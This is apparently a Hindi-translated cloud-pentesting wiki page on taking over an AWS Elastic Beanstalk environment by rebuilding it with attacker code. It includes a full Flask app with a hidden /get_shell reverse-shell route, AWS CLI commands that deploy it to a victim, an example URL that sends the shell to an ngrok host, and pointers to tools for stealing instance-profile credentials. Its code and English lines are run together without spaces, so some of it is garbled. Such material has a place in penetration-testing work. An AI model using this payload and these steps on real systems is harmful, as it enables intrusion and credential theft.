Beanstalk में संवेदनशील क्रियाएँ करने के लिए आपको कई विभिन्न सेवाओं में बहुत सारी संवेदनशील अनुमतियाँ होनी चाहिए। आप उदाहरण के लिए arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk को दी गई अनुमतियों की जांच कर सकते हैं।
elasticbeanstalk:RebuildEnvironment, S3 लिखने की अनुमतियाँ & कई अन्य
पर्यावरण के कोड वाले S3 बकेट पर लिखने की अनुमतियों और एप्लिकेशन को पुनर्निर्माण करने की अनुमतियों (इसके लिए elasticbeanstalk:RebuildEnvironment और S3, EC2 और Cloudformation से संबंधित कुछ और की आवश्यकता है) के साथ, आप कोड को संशोधित कर सकते हैं, ऐप को पुनर्निर्माण कर सकते हैं और अगली बार जब आप ऐप तक पहुँचेंगे, तो यह आपके नए कोड को निष्पादित करेगा, जिससे हमलावर को एप्लिकेशन और इसके IAM भूमिका क्रेडेंशियल्स को समझौता करने की अनुमति मिलती है।
सबसे पहले, आपको पीड़ित में चलाने के लिए कोड के साथ एक वैध Beanstalk वातावरण बनाना होगा, जो पिछले चरणों का पालन करता है। संभावित रूप से इन 2 फ़ाइलों को शामिल करने वाला एक साधारण ज़िप:
from flask import Flask, request, jsonifyimport subprocess,os, socketapplication =Flask(__name__)@application.errorhandler(404)defpage_not_found(e):returnjsonify('404')@application.route("/")defindex():returnjsonify('Welcome!')@application.route("/get_shell")defsearch():host=request.args.get('host')port=request.args.get('port')if host and port:s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect((host,int(port)))os.dup2(s.fileno(),0)os.dup2(s.fileno(),1)os.dup2(s.fileno(),2)p=subprocess.call(["/bin/sh","-i"])returnjsonify('done')if__name__=="__main__":application.run()
एक बार जब आपके पास अपना खुद का Beanstalk env चल रहा हो आपका rev shell, तो इसे शिकार के env में स्थानांतरित करने का समय है। ऐसा करने के लिए, आपको अपने beanstalk S3 बकेट की बकेट नीति को अपडेट करना होगा ताकि शिकार इसे एक्सेस कर सके (ध्यान दें कि इससे बकेट सभी के लिए खुल जाएगा):
# Use a new --version-label# Use the bucket from your own accountawselasticbeanstalkcreate-application-version--application-nameMyApp--version-labelMyApp-2.0--source-bundleS3Bucket="elasticbeanstalk-<region>-<accId>",S3Key="revshell.zip"# These step needs the extra permissionsawselasticbeanstalkupdate-environment--environment-nameMyEnv--version-labelMyApp-1.0# To get your rev shell just access the exposed web URL with params such as:http://myenv.eba-ankaia7k.us-east-1.elasticbeanstalk.com/get_shell?host=0.tcp.eu.ngrok.io&port=13528Alternatively, [MaliciousBeanstalk](https://github.com/fr4nk3nst1ner/MaliciousBeanstalk) can be used to deploy a Beanstalk application that takes advantage of overly permissive Instance Profiles. Deploying this application will execute a binary (e.g., [Mythic](https://github.com/its-a-feature/Mythic) payload) and/or exfiltrate the instance profile security credentials (use with caution, GuardDuty alerts when instance profile credentials are used outside the ec2 instance).
ThedeveloperhasintentionstoestablishareverseshellusingNetcatorSocatwithnextstepstokeepexploitationcontainedtotheec2instancetoavoiddetections.